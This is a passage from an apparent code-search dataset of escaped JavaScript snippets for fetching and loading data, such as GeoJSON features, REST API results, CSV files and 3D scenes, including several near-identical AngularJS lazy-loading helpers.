req.open(\"GET\",restcountriesurl,true);\r\n req.addEventListener('load',function(){\r\n if(this.readyState===4 && this.status===200)\r\n res(req.responseText);\r\n else\r\n rej(\"unable to fetch\");\r\n })\r\n req.send();\r\n })\r\n}","async function getVectorLayer() {\n\n let places = await fetch('/lugares/')\n .then(resp => resp.json())\n .then(data => data.features )\n\n let vectorSource = new VectorSource({\n features: places.map(createIcon)\n });\n\n let vectorLayer = new VectorLayer({\n source: vectorSource\n });\n\n return vectorLayer;\n}","function fetchRegions() {\n return (dispatch, getState) => {\n const store = getState();\n const {\n primaryMetricId,\n relatedMetricIds,\n filters,\n currentStart,\n currentEnd\n } = store.primaryMetric;\n\n const metricIds = [primaryMetricId, ...relatedMetricIds].join(',');\n // todo: identify better way for query params\n return fetch(`/data/anomalies/ranges?metricIds=${metricIds}&start=${currentStart}&end=${currentEnd}&filters=${encodeURIComponent(filters)}`)\n .then(res => res.json())\n .then(res => dispatch(loadRegions(res)))\n .catch(() => {\n dispatch(requestFail());\n });\n\n };\n}","async function getRegions() {\n let fetchRegions = await fetch(`${APP_SERVER}/regions`, {\n method: 'GET',\n headers: {\n \"Content-Type\": \"application/json\",\n \"Authorization\": `Bearer ${token}`\n }\n });\n\n let allRegions = await fetchRegions.json();\n let regions = allRegions.data;\n \n console.log(regions);\n\n if (regions) {\n return regions;\n } else {\n console.log(\"[ERROR] Regions: NO REGIONS FOUND!, error msg: \" + regions);\n }\n}","async loadGemfile() {\n let gemfilePath = nova.workspace.config.get('rubygems.workspace.gemfileLocation')\n let gemfileHandler = null\n let gemfileLinesArray = []\n\n if (FUNCTIONS.isWorkspace()) {\n // If no Gemfile is set in the workspace preferences, try to open one in the root directory.\n if (gemfilePath == null) {\n try {\n gemfileHandler = nova.fs.open(`${FUNCTIONS.normalizePath(nova.workspace.path)}/Gemfile`)\n } catch (error) { }\n } else {\n try {\n gemfileHandler = nova.fs.open(`${FUNCTIONS.normalizePath(gemfilePath)}`)\n } catch (error) {\n console.log(\n 'The \\'Gemfile\\' location set in the workspace preferences could not be found. Please check ' +\n 'the location and try again.')\n }\n }\n }\n\n if (gemfileHandler !== null) {\n gemfileLinesArray = gemfileHandler.readlines()\n gemfileHandler.close()\n\n this._gems = await this._evaluateGemfileLines(gemfileLinesArray)\n }\n\n return this._gems\n }","function loadGCI() {\n return fs.readFileSync('gci.txt','utf8')\n }","async function processHygrodataSeries(rawdata, pointID, marker, sourceElement, markerName, dataObj)\r\n{\r\n return new Promise((resolve, reject) => {\r\n // console.log(\"processHygrodataSeries()\");\r\n\r\n var lines = rawdata.split('\\n');\r\n var data = [];\r\n \r\n for(var line of lines)\r\n {\r\n var fields = line.split(',');\r\n \r\n // console.log(\"Line:\");\r\n // console.log(fields);\r\n \r\n if(fields.length < 2)\r\n {\r\n continue;\r\n }\r\n \r\n data.push(fields);\r\n }\r\n \r\n\r\n var intervals = new Array();\r\n\r\n // skip headers line\r\n for(let i = 1; i < data.length; i++)\r\n {\r\n // console.log(\"Snapshot \" + data[i][0]);\r\n\r\n var startDate = new Date(data[i][1], data[i][2], data[i][3], data[i][4], data[i][5], data[i][6]);\r\n var endInterval = new Date(startDate);\r\n endInterval.setSeconds(startDate.getSeconds() + 3599);\r\n\r\n var interval = new Cesium.TimeInterval(\r\n {\r\n \"start\" : Cesium.JulianDate.fromDate(startDate),\r\n \"stop\" : Cesium.JulianDate.fromDate(endInterval),\r\n \"isStartIncluded\" : true,\r\n \"isStopIncluded\" : false,\r\n // \"isStopIncluded\" : true,//false,\r\n // \"data\" : { \"temperature\" : data[i][7], \"humidity\" : data[i][8] }\r\n \"data\" : //[\r\n { \r\n \"element\" : marker,\r\n \"type\" : \"hygro\",\r\n \"owner\" : markerName,\r\n \"value\" : {\r\n \"temperature\" : data[i][7], \"humidity\" : data[i][8]\r\n }\r\n }\r\n //]\r\n }\r\n );\r\n\r\n // console.log(\"Adding interval\");\r\n intervals.push(interval);\r\n }\r\n\r\n // g_intervalGroups.set(sourceElement.name, new Cesium.TimeIntervalCollection(intervals));\r\n var intervalCollection = new Cesium.TimeIntervalCollection(intervals);\r\n g_intervalGroups.set(markerName, intervalCollection);\r\n\r\n dataObj.data.source = intervalCollection;\r\n\r\n // g_timeIntervals = new Cesium.TimeIntervalCollection(intervals);\r\n g_hygroData.set(pointID, { \"intervals\" : new Cesium.TimeIntervalCollection(intervals), \"marker\" : marker, \"caption\" : marker.label.text });\r\n\r\n resolve();\r\n });\r\n}","function eng_gen() {\n var condition1 = function () {\n len_eng = corpus_eng.length;\n // console.log(len_eng)\n for (i = 0; i < len_eng; i++) {\n var temp = corpus_eng[i].split(\"\\t\");\n eng_ans.push(temp);\n eng_words.add(eng_ans[i][0]);\n }\n }\n $.when($.get(\"features_english.txt\", function (data_eng) { corpus_eng = data_eng.split(\"\\n\") })).then(condition1);\n}","function pollForCoremetricsReady(){\n\n\t\tvar promise = new Promise(function(resolve, reject){\n\n\t\t\tif ( window.cmCreateElementTag && window.cm_ClientID ){\n\t\t\t\treturn resolve( window.cmCreateElementTag );\n\t\t\t}\n\n\t\t\tvar interval = setInterval(function(){\n\n\t\t\t\tif ( window.cmCreateElementTag && window.cm_ClientID ){\n\t\t\t\t\tclearInterval( interval );\n\t\t\t\t\tresolve( window.cmCreateElementTag );\n\t\t\t\t}\n\t\t\t }, 500);\n\n\t\t});\n\n\t\treturn promise;\n\n\t}","fetchData() {\n const url = 'http://data.unhcr.org/api/population/regions.json';\n return fetch(url, {\n method: 'GET',\n })\n .then((resp) => resp.json())\n .then((json) => this.parseRefugeeData(json))\n .catch((error) => Notification.logError(error, 'RefugeeCampMap.fetchData'));\n }","async loadIndex() {\n const indexURL = this.config.indexURL\n return loadIndex(indexURL, this.config, this.genome)\n }","featureTypeIriSelect(iri) {\n this.props.loadingOn();\n Actions.executeQueryForDatasetSource(\n DatasetSourceStore.getSelectedDatasetSource().id,\n \"spatial/get_feature_geometry\",\n {object_type: \"<\"+iri+\">\"}\n );\n this.setState({value : iri,geometries:[]})\n }","async import(uri, options) {\n const basePath = uri.substring(0, uri.lastIndexOf('/')) + '/'; // location of model file as basePath\n const defaultOptions = _misc_DataUtil__WEBPACK_IMPORTED_MODULE_0__[\"default\"].createDefaultGltfOptions();\n if (options && options.files) {\n for (let fileName in options.files) {\n const fileExtension = _misc_DataUtil__WEBPACK_IMPORTED_MODULE_0__[\"default\"].getExtension(fileName);\n if (fileExtension === 'gltf' || fileExtension === 'glb') {\n return await this.__loadFromArrayBuffer(options.files[fileName], defaultOptions, basePath, options);\n }\n }\n }\n const arrayBuffer = await _misc_DataUtil__WEBPACK_IMPORTED_MODULE_0__[\"default\"].fetchArrayBuffer(uri);\n return await this.__loadFromArrayBuffer(arrayBuffer, defaultOptions, basePath, options);\n }","function trackFeatures(final_track_list) {\n return new Promise(function(resolve, reject) {\n let xhr = new XMLHttpRequest();\n let url = 'https://api.spotify.com/v1/audio-features';\n xhr.open(\"GET\", url + '?ids=' + final_track_list);\n xhr.setRequestHeader('Authorization', 'Bearer ' + access_token);\n xhr.onload = () => resolve(xhr.responseText);\n xhr.onerror = () => reject(xhr.statusText);\n xhr.send();\n });\n }","load(src=[],opts={}){\n\t\t// files loaded\n\t\twindow.trs.loadedScript = window.trs.loadedScript || [] \n\t\treturn new Promise((resolve,reject)=>{\n\t\t\t//options\n\t\t\tlet opt=opts\n\t\t\topt.async=opts.async||false\n\t\t\topt.once=opts.once||false\n\n\t\t\tfor(let file of src){\n\t\t\t\t// script\n\t\t\t\tlet sc=document.createElement('script')\n\t\t\t\tsc.src=file\n\t\t\t\t// attributes\n\t\t\t\tif(opt.async) sc.setAttribute('async','')\n\n\t\t\t\t// mark as loaded by lazy loader func\n\t\t\t\tif(opt.once) {\n\t\t\t\t\tif (window.trs.loadedScript.indexOf(file) == -1 ) {\n\t\t\t\t\t\twindow.trs.loadedScript.push(file)\n\t\t\t\t\t}else{\n\t\t\t\t\t\treturn 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// load\n\t\t\t\tif(opt.module) sc.setAttribute('type','module')\n\t\t\t\tsc.setAttribute('lazy-loaded','')\n\t\t\t\tdocument.body.appendChild(sc)\n\t\t\t\tresolve(sc)\n\t\t\t\t\t\t\t\t\n\t\t\t}\n\t\t})\n\t}","fetchArtifacts() {\n const artifactLocation = getSrc(this.props.path, this.props.runUuid);\n this.props\n .getArtifact(artifactLocation)\n .then((rawFeatures) => {\n const parsedFeatures = JSON.parse(rawFeatures);\n this.setState({ features: parsedFeatures, loading: false });\n })\n .catch((error) => {\n this.setState({ error: error, loading: false, features: undefined });\n });\n }","getGroupsOfaPerson() {\n return this.#fetchAdvanced(this.#getGroupsOfPersonURL()).then((responseJSON) => {\n let groupBOs = GroupBO.fromJSON(responseJSON);\n return new Promise(function (resolve) {\n resolve(groupBOs);\n })\n })\n}","async function loadFromFile (file) {\n const deferred = createDeferred()\n\n const fileReader = new window.FileReader()\n\n fileReader.onload = onLoad\n fileReader.onabort = () => {\n deferred.reject(new Error(`file load interrupted: ${file}`))\n }\n fileReader.onerror = () => {\n deferred.reject(new Error(`file load error: ${file}`))\n }\n\n fileReader.readAsText(file)\n\n return deferred.promise\n\n function onLoad (event) {\n const data = event.target && event.target.result\n if (data == null) {\n return deferred.reject(new Error(`no data in file: ${file.name}`))\n }\n\n let profileData\n try {\n profileData = JSON.parse(data)\n } catch (err) {\n return deferred.reject(new Error(`file is not JSON: ${file.name}`))\n }\n\n const profileInfo = ProfileInfo.create(profileData)\n if (profileInfo == null) {\n return deferred.reject(new Error(`file is not a V8 CPU profile: ${file.name}`))\n }\n\n profileInfo.fileName = file.name\n\n Store.set({\n profileInfo,\n pkgIdSelected: null,\n modIdSelected: null,\n fnIdSelected: null\n })\n\n deferred.resolve(profileInfo)\n }\n}","async loadTokensList() {\n return null;\n }","async function readFile(){\n return new Promise((resolve,reject)=>{\n fs.readFile('../dataset/smallDataSet.csv','utf8',(err, data)=>{\n if(err) reject(err);\n resolve(data);\n });\n })\n}","function loadSequence() {\n var _args = arguments;\n return {\n deps: ['$ocLazyLoad', '$q',\n\t\t\tfunction ($ocLL, $q) {\n\t\t\t var promise = $q.when(1);\n\t\t\t for (var i = 0, len = _args.length; i < len; i++) {\n\t\t\t promise = promiseThen(_args[i]);\n\t\t\t }\n\t\t\t return promise;\n\n\t\t\t function promiseThen(_arg) {\n\t\t\t if (typeof _arg == 'function')\n\t\t\t return promise.then(_arg);\n\t\t\t else\n\t\t\t return promise.then(function () {\n\t\t\t var nowLoad = requiredData(_arg);\n\t\t\t if (!nowLoad)\n\t\t\t return $.error('Route resolve: Bad resource name [' + _arg + ']');\n\t\t\t return $ocLL.load(nowLoad);\n\t\t\t });\n\t\t\t }\n\n\t\t\t function requiredData(name) {\n\t\t\t if (jsRequires.modules)\n\t\t\t for (var m in jsRequires.modules)\n\t\t\t if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\n\t\t\t return jsRequires.modules[m];\n\t\t\t return jsRequires.scripts && jsRequires.scripts[name];\n\t\t\t }\n\t\t\t}]\n };\n }","function loadSequence() {\n var _args = arguments;\n return {\n deps: ['$ocLazyLoad', '$q',\n\t\t\tfunction ($ocLL, $q) {\n\t\t\t var promise = $q.when(1);\n\t\t\t for (var i = 0, len = _args.length; i < len; i++) {\n\t\t\t promise = promiseThen(_args[i]);\n\t\t\t }\n\t\t\t return promise;\n\n\t\t\t function promiseThen(_arg) {\n\t\t\t if (typeof _arg == 'function')\n\t\t\t return promise.then(_arg);\n\t\t\t else\n\t\t\t return promise.then(function () {\n\t\t\t var nowLoad = requiredData(_arg);\n\t\t\t if (!nowLoad)\n\t\t\t return $.error('Route resolve: Bad resource name [' + _arg + ']');\n\t\t\t return $ocLL.load(nowLoad);\n\t\t\t });\n\t\t\t }\n\n\t\t\t function requiredData(name) {\n\t\t\t if (jsRequires.modules)\n\t\t\t for (var m in jsRequires.modules)\n\t\t\t if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\n\t\t\t return jsRequires.modules[m];\n\t\t\t return jsRequires.scripts && jsRequires.scripts[name];\n\t\t\t }\n\t\t\t}]\n };\n }","function pullDatabase(){\n return new Promise((resolve, reject) => {\n try{\n db.collection(\"Classic\").get().then((snapshot) => {\n //characterArray will become filled with the documents from our Firebase database converted into Character classes\n var characterArray = [];\n snapshot.forEach((doc) => {\n //console.log(doc.id, '=>', doc.data());\n var character = doc.data();\n characterArray.push(new Character(character.name, character.realm, character.level, character.race, character.class));\n });\n //returns the array of Character classes\n resolve(characterArray);\n })\n .catch((err) => {\n console.log('Error getting documents', err);\n });\n } catch (e){\n reject(e);\n }\n }) \n}","listenForFeature(featuresRef) {\n featuresRef.on('value', (dataSnapshot) => {\n var tasks = [];\n dataSnapshot.forEach((child) => {\n tasks.push({\n title: child.val().title,\n uri: child.val().uri,\n date: child.val().date,\n type: child.val().type,\n _key: child.key\n });\n });\n\n this.setState({\n dataFeatures:tasks,\n loading: false,\n });\n });\n }","function loadScene(url) {\n let newObjects = [];\n return new Promise((resolve, reject) => {\n new GLTFLoader().load( url, \n function (object) {\n // On Load\n console.log(object);\n object.scene.children.forEach((prop, i) => newObjects[i] = prop); // Add all props from the scene into the objects array.\n //scene.add(object.scene);\n resolve(newObjects);\n },\n function (XMLHttpRequest) {\n // On Progress\n console.log(\"Loading Scene... \", XMLHttpRequest);\n },\n function (err) {\n // On Error\n console.log(err);\n reject(err);\n });\n });\n }","async function getDataset() {\n const [dataset, perfTimes] = await fetchMorpheusJson(\n studyAccession,\n genes,\n cluster,\n annotation.name,\n annotation.type,\n annotation.scope,\n subsample\n )\n logFetchMorpheusDataset(perfTimes, cluster, annotation, genes)\n return dataset\n }","function readIndividualFeatures(egoCenter, callback) {\n console.log(\" - - Reading individual features.\");\n var data = fs.readFileSync(\"../data/\" + egoCenter + \".feat\", 'utf8');\n var featureArray = data.split(\"\\n\");\n for (var feature of featureArray) {\n var spaceIndex = feature.indexOf(\" \");\n if (spaceIndex > 0) {\n individualFeatures[feature.substring(0, spaceIndex)] = feature.substring(spaceIndex + 1, feature.length).split(\" \");\n }\n }\n}","function init(count) {\n var count = count || 1\n var promise = new Promise((resolve, reject) => {\n getLookupData(odsaStore)\n .then((lookups) => {\n getTimeTrackingData(odsaStore, lookups, count)\n .then((vizData) => {\n $('#reload_data').show()\n $('#generate_data').show()\n $('.accordionjs').show()\n initViz(vizData, lookups)\n .then(() => {\n $(\"#tools-accordion\").accordionjs({ activeIndex: false, closeAble: true })\n $(\"#tools-accordion-exs\").accordionjs({ activeIndex: false, closeAble: true })\n initExTools(lookups)\n resolve()\n })\n })\n .catch((err) => {\n console.log(err)\n errDialog(err)\n })\n })\n .catch((err) => {\n console.log(err)\n errDialog(err)\n })\n })\n return promise\n }","function resolvePromises() {\n resolvePromisesFn(autoflow);\n }","function fetchCountries(){\n console.log('IMonData: [Countries] Fetching data..');\n var store = new Store();\n var futures = [];\n var baseUrl = 'https://thenetmonitor.org/v2/countries';\n\n var fut = HTTP.get.future()(baseUrl, { timeout: Settings.timeout*3 });\n futures.push(fut);\n var results = fut.wait();\n store.sync(results.data);\n _.each(results.data.data, function(d){\n store.sync(d.relationships.data_points);\n });\n\n console.log('IMonData: [Countries] Data fetched.');\n Future.wait(futures);\n\n var insert = function(){\n console.log('IMonData: [Countries] Inserting...');\n _.each(store.findAll('countries'), insertCountryData);\n console.log('IMonData: [Countries] Inserted.');\n };\n\n Future.task(insert);\n\n}","function loadSequence() {\n var _args = arguments;\n return {\n deps: ['$ocLazyLoad', '$q',\n function ($ocLL, $q) {\n var promise = $q.when(1);\n for (var i = 0, len = _args.length; i < len; i++) {\n promise = promiseThen(_args[i]);\n }\n return promise;\n\n function promiseThen(_arg) {\n if (typeof _arg == 'function')\n return promise.then(_arg);\n else\n return promise.then(function () {\n var nowLoad = requiredData(_arg);\n if (!nowLoad)\n return $.error('Route resolve: Bad resource name [' + _arg + ']');\n return $ocLL.load(nowLoad);\n });\n }\n\n function requiredData(name) {\n if (jsRequires.modules)\n for (var m in jsRequires.modules)\n if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\n return jsRequires.modules[m];\n return jsRequires.scripts && jsRequires.scripts[name];\n }\n }]\n };\n }","function loadSequence() {\n var _args = arguments;\n return {\n deps: ['$ocLazyLoad', '$q',\n function ($ocLL, $q) {\n var promise = $q.when(1);\n for (var i = 0, len = _args.length; i < len; i++) {\n promise = promiseThen(_args[i]);\n }\n return promise;\n\n function promiseThen(_arg) {\n if (typeof _arg == 'function')\n return promise.then(_arg);\n else\n return promise.then(function () {\n var nowLoad = requiredData(_arg);\n if (!nowLoad)\n return $.error('Route resolve: Bad resource name [' + _arg + ']');\n return $ocLL.load(nowLoad);\n });\n }\n\n function requiredData(name) {\n if (jsRequires.modules)\n for (var m in jsRequires.modules)\n if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\n return jsRequires.modules[m];\n return jsRequires.scripts && jsRequires.scripts[name];\n }\n }]\n };\n }","function loadSequence() {\n var _args = arguments;\n return {\n deps: ['$ocLazyLoad', '$q',\n function ($ocLL, $q) {\n var promise = $q.when(1);\n for (var i = 0, len = _args.length; i < len; i++) {\n promise = promiseThen(_args[i]);\n }\n return promise;\n\n function promiseThen(_arg) {\n if (typeof _arg == 'function')\n return promise.then(_arg);\n else\n return promise.then(function () {\n var nowLoad = requiredData(_arg);\n if (!nowLoad)\n return $.error('Route resolve: Bad resource name [' + _arg + ']');\n return $ocLL.load(nowLoad);\n });\n }\n\n function requiredData(name) {\n if (jsRequires.modules)\n for (var m in jsRequires.modules)\n if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\n return jsRequires.modules[m];\n return jsRequires.scripts && jsRequires.scripts[name];\n }\n }]\n };\n }","function loadSequence() {\n var _args = arguments;\n return {\n deps: ['$ocLazyLoad', '$q',\n function ($ocLL, $q) {\n var promise = $q.when(1);\n for (var i = 0, len = _args.length; i < len; i++) {\n promise = promiseThen(_args[i]);\n }\n return promise;\n\n function promiseThen(_arg) {\n if (typeof _arg == 'function')\n return promise.then(_arg);\n else\n return promise.then(function () {\n var nowLoad = requiredData(_arg);\n if (!nowLoad)\n return $.error('Route resolve: Bad resource name [' + _arg + ']');\n return $ocLL.load(nowLoad);\n });\n }\n\n function requiredData(name) {\n if (jsRequires.modules)\n for (var m in jsRequires.modules)\n if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\n return jsRequires.modules[m];\n return jsRequires.scripts && jsRequires.scripts[name];\n }\n }]\n };\n }","function loadfloodIncidentlayer(floodincidentdata){\r\nfloodincidentjson = JSON.parse(floodincidentdata);\r\n\r\nvar features = []; \r\nfeatures = floodincidentjson.features; \r\nvar jproperties = floodincidentjson.features.map(function (el) { return el.properties; });\r\nvar i;\r\nfor (i = 0; i < jproperties.length; i++) { \r\n\tfloodincarray.push(Object.values(jproperties[i]));\r\n}\r\n\r\n}","function loadSequence() {\n var _args = arguments;\n return {\n deps: ['$ocLazyLoad', '$q',\n function ($ocLL, $q) {\n var promise = $q.when(1);\n for (var i = 0, len = _args.length; i < len; i++) {\n promise = promiseThen(_args[i]);\n }\n return promise;\n\n function promiseThen(_arg) {\n if (typeof _arg === 'function')\n return promise.then(_arg);\n else\n return promise.then(function () {\n var nowLoad = requiredData(_arg);\n if (!nowLoad)\n return $.error('Route resolve: Bad resource name [' + _arg + ']');\n return $ocLL.load(nowLoad);\n });\n }\n\n function requiredData(name) {\n if (jsRequires.modules)\n for (var m in jsRequires.modules)\n if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\n return jsRequires.modules[m];\n return jsRequires.scripts && jsRequires.scripts[name];\n }\n }]\n };\n }","function loadSequence() {\r\n var _args = arguments;\r\n return {\r\n deps: ['$ocLazyLoad', '$q',\r\n\t\t\tfunction ($ocLL, $q) {\r\n\t\t\t var promise = $q.when(1);\r\n\t\t\t for (var i = 0, len = _args.length; i < len; i++) {\r\n\t\t\t promise = promiseThen(_args[i]);\r\n\t\t\t }\r\n\t\t\t return promise;\r\n\r\n\t\t\t function promiseThen(_arg) {\r\n\t\t\t if (typeof _arg == 'function')\r\n\t\t\t return promise.then(_arg);\r\n\t\t\t else\r\n\t\t\t return promise.then(function () {\r\n\t\t\t var nowLoad = requiredData(_arg);\r\n\t\t\t if (!nowLoad)\r\n\t\t\t return $.error('Route resolve: Bad resource name [' + _arg + ']');\r\n\t\t\t return $ocLL.load(nowLoad);\r\n\t\t\t });\r\n\t\t\t }\r\n\r\n\t\t\t function requiredData(name) {\r\n\t\t\t if (jsRequires.modules)\r\n\t\t\t for (var m in jsRequires.modules)\r\n\t\t\t if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\r\n\t\t\t return jsRequires.modules[m];\r\n\t\t\t return jsRequires.scripts && jsRequires.scripts[name];\r\n\t\t\t }\r\n\t\t\t}]\r\n };\r\n }","function initFeatureList() {\n var task = $(parameterAnalysisDateId).val();\n if (task) {\n $(featureListId).multiselect({\n dropRight: true,\n buttonWidth: \"100%\",\n enableFiltering: true,\n enableCaseInsensitiveFiltering: true,\n nonSelectedText: \"请选择Feature\",\n filterPlaceholder: \"搜索\",\n nSelectedText: \"项被选中\",\n includeSelectAllOption: true,\n selectAllText: \"全选/取消全选\",\n allSelectedText: \"已选中所有平台类型\",\n maxHeight: 200,\n width: 220\n });\n var url = \"paramQuery/getFeatureList\";\n $.ajax({\n type: \"post\",\n url: url,\n data: { db: task },\n dataType: \"json\",\n success: function(data) {\n var newOptions = [];\n var obj = {};\n $(data).each(function(k, v) {\n v = eval(\"(\" + v + \")\");\n obj = {\n label: v.text,\n value: v.value\n };\n newOptions.push(obj);\n });\n obj = {\n label: \"未知\",\n value: \"unknow\"\n };\n newOptions.push(obj);\n $(featureListId).multiselect(\"dataprovider\", newOptions);\n // $(featureListId).multiselect(\"disable\");\n }\n });\n }\n}"],"string":"[\n \"async readFeatures(chr, start, end) {\\n\\n const index = await this.getIndex()\\n if (index) {\\n return this.loadFeaturesWithIndex(chr, start, end);\\n } else if (this.dataURI) {\\n return this.loadFeaturesFromDataURI();\\n } else {\\n return this.loadFeaturesNoIndex()\\n }\\n\\n }\",\n \"load () {\\n this.fire('dataLoading') // for supporting loading spinners\\n \\n let promise = this.coverage.loadDomain().then(domain => {\\n this.domain = domain\\n \\n ;[this._projX, this._projY] = getHorizontalCRSComponents(domain)\\n return loadProjection(domain)\\n }).then(proj => {\\n this.projection = proj\\n })\\n if (this._loadCoverageSubset) {\\n promise = promise.then(() => this._loadCoverageSubset())\\n } else if (this.parameter) {\\n promise = promise.then(() => this.coverage.loadRange(this.parameter.key)).then(range => {\\n this.range = range\\n })\\n }\\n \\n promise = promise.then(() => {\\n this.fire('dataLoad')\\n }).catch(e => {\\n console.error(e)\\n this.fire('error', {error: e})\\n this.fire('dataLoad')\\n })\\n return promise\\n }\",\n \"function get_features(refseqID) {\\n\\n\\tvar myFeatures;\\t\\n\\tglue.inMode(\\\"reference/\\\"+refseqID, function(){\\n\\t\\tmyFeatures = glue.getTableColumn(glue.command([\\\"list\\\", \\\"feature-location\\\"]), \\\"feature.name\\\");\\n\\t});\\n\\treturn myFeatures;\\n}\",\n \"getFeaturesInRange(contig: string, start: number, stop: number): Q.Promise {\\n start--; // switch to zero-based indices\\n stop--;\\n return this._getSequenceHeader(contig).then(header => {\\n var dnaOffset = header.offset + header.dnaOffsetFromHeader;\\n var offset = Math.floor(dnaOffset + start/4);\\n var byteLength = Math.ceil((stop - start + 1) / 4) + 1;\\n return this.remoteFile.getBytes(offset, byteLength).then(dataView => {\\n return markUnknownDNA(\\n unpackDNA(dataView, start % 4, stop - start + 1), start, header)\\n .join('');\\n });\\n });\\n }\",\n \"getFeaturesByTagExpression() {\\n return getTestCasesFromFilesystem({\\n cwd: '',\\n eventBroadcaster: eventBroadcaster,\\n featurePaths: this.getFeatures(),\\n pickleFilter: new PickleFilter({\\n tagExpression: this.getCucumberCliTags()\\n }),\\n order: 'defined'\\n }).then(function (results) {\\n let features = [];\\n let scenarios = [];\\n _.forEach(results, function (result) {\\n if (argv.parallelFeatures) {\\n features.push(result.uri);\\n } else {\\n let lineNumber = result.pickle.locations[0].line;\\n let uri = result.uri;\\n let scenario = `${uri}:${lineNumber}`;\\n scenarios.push(scenario);\\n }\\n });\\n\\n return {\\n features: _.sortedUniq(features),\\n scenarios: scenarios\\n };\\n });\\n }\",\n \"getFeatures() {\\n let filesGlob = 'e2e/features/**/*.feature';\\n let files = glob.sync(filesGlob);\\n return _.sortedUniq(files);\\n }\",\n \"async function loadData() {\\r\\n\\tlet result = [];\\r\\n\\tlet resp = await fetch('./cats.geojson');\\r\\n\\tlet data = await resp.json();\\r\\n\\tdata.features.forEach(f => {\\r\\n\\t\\tresult.push({\\r\\n\\t\\t\\tlat:f.geometry.coordinates[1],\\r\\n\\t\\t\\tlng:f.geometry.coordinates[0]\\r\\n\\t\\t});\\r\\n\\t});\\r\\n\\treturn result;\\r\\n}\",\n \"function gvpLoadPromise () {\\n if (context.uriAddressableDefsEnabled) {\\n return Promise[\\\"resolve\\\"]();\\n } else {\\n return context.globalValueProviders.loadFromStorage();\\n }\\n }\",\n \"function loadFeature( feature, data ) {\\n // Add a Spinner\\n var bodyNode = can.$('body');\\n var waitingNode = can.$('
                    &nbsp;
                    ');\\n waitingNode.appendTo(bodyNode);\\n\\n // Loads the feature files and templates, feature name is critical to the file name\\n require(['js/features/'+feature+'.min.js'], function( init ){\\n fadeOut(waitingNode, function(){\\n init( data );\\n waitingNode.remove();\\n });\\n }, onInternetDown);\\n \\n currentFeature = feature;\\n\\n return feature;\\n}\",\n \"load ()\\n {\\n let thisObj = this;\\n return new Promise (function (resolve, reject)\\n {\\n //run async mode\\n (async function () { \\n try {\\n\\n\\n \\n //pull the feature service definition'\\n logger.info(\\\"Fetching the feature service definition...\\\")\\n let featureServiceJsonResult = await makeRequest({method: 'POST', timeout: 120000, url: thisObj.featureServiceUrl, params: {f : \\\"json\\\", token: thisObj.token}});\\n thisObj.featureServiceJson = featureServiceJsonResult\\n //check to see if the feature service has a UN\\n if (thisObj.featureServiceJson.controllerDatasetLayers != undefined)\\n { \\n thisObj.layerId = thisObj.featureServiceJson.controllerDatasetLayers.utilityNetworkLayerId;\\n let queryDataElementUrl = thisObj.featureServiceUrl + \\\"/queryDataElements\\\";\\n let layers = \\\"[\\\" + thisObj.layerId + \\\"]\\\"\\n \\n let postJson = {\\n token: thisObj.token,\\n layers: layers,\\n f: \\\"json\\\"\\n }\\n logger.info(\\\"Fetching the utility network data element ...\\\")\\n //pull the data element definition of the utility network now that we have the utility network layer\\n let undataElement = await makeRequest({method: 'POST', url: queryDataElementUrl, params: postJson });\\n \\n //request the un layer defition which has different set of information\\n let unLayerUrl = thisObj.featureServiceUrl + \\\"/\\\" + thisObj.layerId;\\n postJson = {\\n token: thisObj.token,\\n f: \\\"json\\\"\\n }\\n\\n logger.info(\\\"Fetching the utility network layer definition ...\\\")\\n\\n let unLayerDef = await makeRequest({method: 'POST', url: unLayerUrl, params: postJson });\\n \\n thisObj.dataElement = undataElement.layerDataElements[0].dataElement;\\n thisObj.layerDefinition = unLayerDef\\n thisObj.subnetLineLayerId = thisObj.getSubnetLineLayerId(); \\n resolve(thisObj);\\n }\\n else\\n reject(\\\"No Utility Network found in this feature service\\\");\\n\\n }\\n\\n catch(ex){\\n reject(ex)\\n }\\n })();\\n })\\n\\n \\n }\",\n \"async function getData() {\\n request.open('GET',\\n 'https://services1.arcgis.com/0n2NelSAfR7gTkr1/arcgis/rest/services/Business_Licenses/FeatureServer/0/query?where=FID' + ' > ' + lastFID + ' AND FID <= ' + (lastFID + 500) + '&outFields=*&outSR=4326&f=json',\\n true);\\n\\n //comment out the following line to quickly edit ui without making requests\\n request.send();\\n}\",\n \"load() {\\n return this.loading || (this.loading = this.loadFunc().then(support => this.support = support, err => { this.loading = null; throw err; }));\\n }\",\n \"function get_features(res, mysql, context, complete){\\r\\n mysql.pool.query(\\\"SELECT * FROM features\\\", function(error, results, fields){\\r\\n if(error){\\r\\n res.write(JSON.stringify(error));\\r\\n res.end();\\r\\n }\\r\\n context.features = results;\\r\\n complete();\\r\\n });\\r\\n }\",\n \"getGC() {\\n return this.$http.get(PATH + \\\"gc_polygon.topo.json\\\", {cache: true})\\n .then(function(data, status) {\\n return topojson.feature(data.data, data.data.objects['dc_polygon.geo']);\\n });\\n }\",\n \"async function fetchData(data) {\\n let fetchedData = await fetch(data);\\n let json = await fetchedData.json();\\n let features = json.features;\\n return features\\n}\",\n \"async getLoadOperation() {}\",\n \"load() {\\n return Object(tslib__WEBPACK_IMPORTED_MODULE_0__[\\\"__awaiter\\\"])(this, void 0, void 0, function* () { });\\n }\",\n \"$onInit() {\\n\\n \\tPromise.all([\\n \\t\\tthis.loadLocations(),\\n \\t\\tthis.loadCategories(), \\n \\t\\tthis.loadCollections()\\n \\t]).then(() => this.loadFeatures(this.filter))\\n }\",\n \"get features() {\\r\\n return new Features(this);\\r\\n }\",\n \"get features() {\\r\\n return new Features(this);\\r\\n }\",\n \"async loadFeatureList(list) {\\n await import(\\\"./subcomp/facility.js\\\")\\n .then(() => {\\n // API call for get Facilities List\\n list.forEach(\\n (item) =>\\n (this._qs(\\\".features\\\").innerHTML += `\\n \\n `)\\n );\\n })\\n .catch((err) => this.popup(err, \\\"error\\\"));\\n }\",\n \"getContigList(): Q.Promise {\\n return this.header.then(header => header.sequences.map(seq => seq.name));\\n }\",\n \"async function getFeatures() {\\n // Read JSON file\\n return await fetch(base_url + '/content/mapping_metrics_definition.json')\\n .then(response => response.json())\\n .then(data => {\\n let features = data['features'];\\n getButtonType().then(button => 